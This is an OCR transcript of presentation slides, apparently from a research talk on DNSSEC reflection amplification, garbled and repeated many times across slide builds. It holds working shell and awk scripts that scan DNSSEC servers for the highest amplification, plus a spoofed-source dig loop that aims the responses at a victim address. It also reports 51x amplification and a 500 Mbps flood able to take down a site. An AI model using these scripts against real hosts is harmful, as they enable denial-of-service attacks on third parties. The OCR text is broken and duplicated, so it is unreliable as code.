yEC names: For each domain: Try query, For each DNSSEC
© vela odu estimate DNSSEC amplification. find Idomain estim
.html \ while read ip z maximum DNSSE
do sort —-nr AMP a
NG>/ { z = $2 dig +dnssec +ignore +tries=1 \ if (seenl[$2])
NG>/,"",z) +time=1 any "$z" "@$ip" | \ if ($1 < 30) n
RONG>/,"",z) awk -v "z=$z" -v "ip=$ip" ’{ print $1,$2,$3
if ($1 = ";;") next seen[$2] = 1
N.*GREEN.*Yes/ { if ($2 '= "MSG") next }’> > MAXAMP
,/<TD>/) if ($3 !'= "SIZE") next head -1 MAXAMP
>/ ,"" . x[5]) if ($4 !'= "rcvd:") next wc -1 MAXAMP
,z,rand () est = (22+$5)/(40+1length(z)) ()utput(]astthne
print est,ip,z
}> 95.6279 156.154.
,$2}° > SERVERS done < SERVERS > AMP 2326 MAXAMP




ERVERS

For each domain: Try query,
estimate DNSSEC amplification.

while read ip z

do

dig +dnssec +ignore +tries=1 \

+time=1 any "$z" "@$ip" | \

awk -v n2=$zn —v "ip=$ip" ){

if
if
if
if

est

($1 =
($2 !'=
($3 !=
($4 '=

n;;n) next
"MSG") next
"STZE") next

"rcvd:") next

= (22+$5)/(40+1length(z))

print est,ip,z

})

done < SERVERS > AMP

For each DNSSEC server,

find domain estimated to ha
maximum DNSSEC amplific

sort —nr AMP awk ’{

if (seen[$2]) next
if ($1 < 30) next
print $1,3%$2,8$3
seen[$2] = 1

}’ > MAXAMP

head -1 MAXAMP

wc -1 MAXAMP

Output (last time | tried it):

95.6279 156.154.102.26 f1i
2326 MAXAMP



For each domain: Try query,
estimate DNSSEC amplification.

while read 1ip z

do
dig +dnssec +ignore +tries=1 \
+time=1 any "$z" "@$ip" | \

awk -v "Z=$Z" —v "ip=$ip" ){

if ($1 '= ";;") next
if ($2 != "MSG") next
if ($3 != "SIZE") next
if ($4 '= "rcvd:") next

est = (22+835)/(40+length(z))
print est,ip,z
})
done < SERVERS > AMP

For each DNSSEC server,

find domain estimated to have
maximum DNSSEC amplification:

sort —-nr AMP awk ’{

if (seen[$2]) next
if ($1 < 30) next
print $1,3$2,$3
seen[$2] =1

}’ > MAXAMP

head -1 MAXAMP

wc -1 MAXAMP

Output (last time | tried it):

95.6279 156.154.102.26 f1i.
2326 MAXAMP



 domain: Try query,
- DNSSEC amplification.

cad 1p z

inssec +ignore +tries=1 \
=1 any n$zn "@$ip" | \
Vs n2=$zn -V "ip=$ip" ){

($1 = ";;") next
($2 = "MSG") next
($3 '= "SIZE") next
($4 '= "rcvd:") next

= (22+$5)/(40+1length(z))

nt est,ip,z

SERVERS > AMP

For each DNSSEC server,
find domain estimated to have

maximum DNSSEC amplification:

sort —nr AMP awk ’{

if (seen[$2]) next
if ($1 < 30) next
print $1,3$2,8$3
seen[$2] = 1

}’ > MAXAMP

head -1 MAXAMP

wc -1 MAXAMP

Output (last time | tried it):

95.6279 156.154.102.26 f1i.
2326 MAXAMP

Can tha
>2000 [
around t
providin,
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Try query,
amplification.

gnore +tries=1 \
z" "@$ip" | \

-v "ip=8%ip" ’A
;") next

SG") next

IZE") next
cvd:") next

)/ (40+1length(z))

y Z

AMP

For each DNSSEC server,
find domain estimated to have

maximum DNSSEC amplification:

awk ’{
if (seen[$2]) next
if ($1 < 30) next
print $1,3$2,$3
seen[$2] =1

}’ > MAXAMP

head -1 MAXAMP

wc -1 MAXAMP

sort —nr AMP

Output (last time | tried it):

95.6279 156.154.102.26 f1i.
2326 MAXAMP

Can that really be
>2000 DNSSEC s
around the Interne
providing >30X% a
of incoming UDP



tion.

jes=1 \

XT
gth(z))

For each DNSSEC server,
find domain estimated to have

maximum DNSSEC amplification:

sort —nr AMP awk ’{

if (seen[$2]) next
if ($1 < 30) next
print $1,3$2,8$3
seen[$2] = 1

}’ > MAXAMP

head -1 MAXAMP

wc -1 MAXAMP

Output (last time | tried it):

95.6279 156.154.102.26 f1i.
2326 MAXAMP

Can that really be true?
>2000 DNSSEC servers
around the Internet, each
providing >30x amplificatic
of incoming UDP packets?



For each DNSSEC server,
find domain estimated to have

maximum DNSSEC amplification:

sort —-nr AMP awk ’{

if (seen[$2]) next
if ($1 < 30) next
print $1,3$2,$3
seen[$2] =1

}’ > MAXAMP

head -1 MAXAMP

wc -1 MAXAMP

Output (last time | tried it):

95.6279 156.154.102.26 f1i.
2326 MAXAMP

Can that really be true?
>2000 DNSSEC servers
around the Internet, each
providing >30x amplification
of incoming UDP packets?



For each DNSSEC server,
find domain estimated to have

maximum DNSSEC amplification:

sort —-nr AMP awk ’{

if (seen[$2]) next
if ($1 < 30) next
print $1,3$2,$3
seen[$2] =1

}’ > MAXAMP

head -1 MAXAMP

wc -1 MAXAMP

Output (last time | tried it):

95.6279 156.154.102.26 f1i.
2326 MAXAMP

Can that really be true?
>2000 DNSSEC servers
around the Internet, each
providing >30x amplification
of incoming UDP packets?

Let’s verify this.

Choose quiet test machines
on two different networks
(without egress filters).

e.g. Sender: 1.2.3.4.
Receiver: 5.6.7.8.



DNSSEC server,
1ain estimated to have
m DNSSEC amplification:

r AMP awk A
cen[$2]) next

1 < 30) next
$1,%$2,83
p2] =1

XAMP

MAXAMP
AXAMP

(last time | tried it):

156.154.102.26 fi.
XAMP

Can that really be true?
>2000 DNSSEC servers
around the Internet, each
providing >30x amplification
of incoming UDP packets?

Let’s verify this.

Choose quiet test machines
on two different networks
(without egress filters).

e.g. Sender: 1.2.3.4,
Receiver: 5.6.7.8.

Run net
on 1.2.3

On 1.2.-
address

dNad SEN(

ifconfi
5.6.7
netma
while r
do
dig -
+dnss
+times

done < |



~server,
ated to have
C amplification:

wk °{
next

ext

| tried it):

102.26 f1i.

Can that really be true?
>2000 DNSSEC servers
around the Internet, each
providing >30x amplification
of incoming UDP packets?

Let's verify this.

Choose quiet test machines
on two different networks
(without egress filters).

e.g. Sender: 1.2.3.4.
Receiver: 5.6.7.8.

Run network-traffi
on 1.2.3.4 and 5.6

On 1.2.3.4, set res
address to 5.6.7.8
and send 1 query/

ifconfig ethO:1
5.6.7.8 \
netmask 255.25
while read est 1
do
dig -b 5.6.7.8
+dnssec +ignor
+time=1 any "$

done < MAXAMP >/



\'AS

ation:

Can that really be true?
>2000 DNSSEC servers
around the Internet, each
providing >30x amplification
of incoming UDP packets?

Let’s verify this.

Choose quiet test machines
on two different networks
(without egress filters).

e.g. Sender: 1.2.3.4,
Receiver: 5.6.7.8.

Run network-traffic monitor:
on 1.2.3.4 and 5.6.7.8.

On 1.2.3.4, set response
address to 5.0.7.8,
and send 1 query/second:

ifconfig ethO:1 \
5.6.7.8 \
netmask 255.255.255.255
while read est ip z
do
dig -b 5.6.7.8 \
+dnssec +ignore +tries=
+time=1 any "$z" "@$ip"
done < MAXAMP >/dev/null



Can that really be true?
>2000 DNSSEC servers
around the Internet, each
providing >30x amplification
of incoming UDP packets?

Let's verify this.

Choose quiet test machines
on two different networks
(without egress filters).

e.g. Sender: 1.2.3.4.
Receiver: 5.6.7.8.

Run network-traffic monitors
on 1.2.3.4 and 5.6.7.8.

On 1.2.3.4, set response
address to 5.0.7.8,
and send 1 query/second:

ifconfig ethO:1 \
5.6.7.8 \
netmask 255.255.255.255
while read est ip z
do
dig -b 5.6.7.8 \
+dnssec +ignore +tries=1 \
+time=1 any "$z" "@$ip"
done < MAXAMP >/dev/null 2>&1
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quiet test machines
lifferent networks
- egress filters).

der: 1.2.3.4.
- 5.6.7.8.

Run network-traffic monitors
on 1.2.3.4 and 5.6.7.8.

On 1.2.3.4, set response
address to 5.0.7.8,
and send 1 query/second:

ifconfig ethO:1 \
5.6.7.8 \
netmask 255.255.255.255
while read est ip z
do
dig -b 5.6.7.8 \
+dnssec +ignore +tries=1 \
+time=1 any "$z" "@$ip"
done < MAXAMP >/dev/null 2>&1
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4.

Run network-traffic monitors
on 1.2.3.4 and 5.6.7.8.

On 1.2.3.4, set response
address to 5.0.7.8,
and send 1 query/second:

ifconfig ethO:1 \
5.6.7.8 \
netmask 255.255.255.255
while read est ip z
do
dig -b 5.6.7.8 \
+dnssec +ignore +tries=1 \
+time=1 any "$z" "@$ip"
done < MAXAMP >/dev/null 2>&1

| sustained 51x ai
of actual network
in a US-to-Europe
on typical universi

at the end of 201(



n

Run network-traffic monitors
on 1.2.3.4 and 5.6.7.8.

On 1.2.3.4, set response
address to 5.0.7.8,
and send 1 query/second:

ifconfig ethO:1 \
5.6.7.8 \
netmask 255.255.255.255
while read est ip z
do
dig -b 5.6.7.8 \
+dnssec +ignore +tries=1 \
+time=1 any "$z" "@$ip"
done < MAXAMP >/dev/null 2>&1

| sustained 51 x amplificatio
of actual network traffic
in a US-to-Europe experime

on typical university comput
at the end of 2010.



Run network-traffic monitors | sustained 51 x amplification
on 1.2.3.4 and 5.6.7.8. of actual network traffic

On 1.2.3.4, set response in a US-to-Europe experiment

address to 5.6.7.8,
and send 1 query/second:

on typical university computers
at the end of 2010.

ifconfig ethO:1 \
5.6.7.8 \
netmask 255.255.255.255
while read est ip z
do
dig -b 5.6.7.8 \
+dnssec +ignore +tries=1 \
+time=1 any "$z" "@$ip"
done < MAXAMP >/dev/null 2>&1




Run network-traffic monitors | sustained 51 x amplification
on 1.2.3.4 and 5.6.7.8. of actual network traffic

On 1.2.3.4, set response in a US-to-Europe experiment

address to 5.6.7.8,
and send 1 query/second:

on typical university computers
at the end of 2010.

Attacker sending 10Mbps

can trigger 500Mbps tlood
from the DNSSEC drone pool,
taking down typical site.

ifconfig ethO:1 \
5.6.7.8 \
netmask 255.255.255.255

while read est ip z
do
dig -b 5.6.7.8 \
+dnssec +ignore +tries=1 \
+time=1 any "$z" "@$ip"
done < MAXAMP >/dev/null 2>&1




Run network-traffic monitors | sustained 51 x amplification
on 1.2.3.4 and 5.6.7.8. of actual network traffic

On 1.2.3.4, set response in a US-to-Europe experiment

address to 5.6.7.8,
and send 1 query/second:

on typical university computers
at the end of 2010.

Attacker sending 10Mbps
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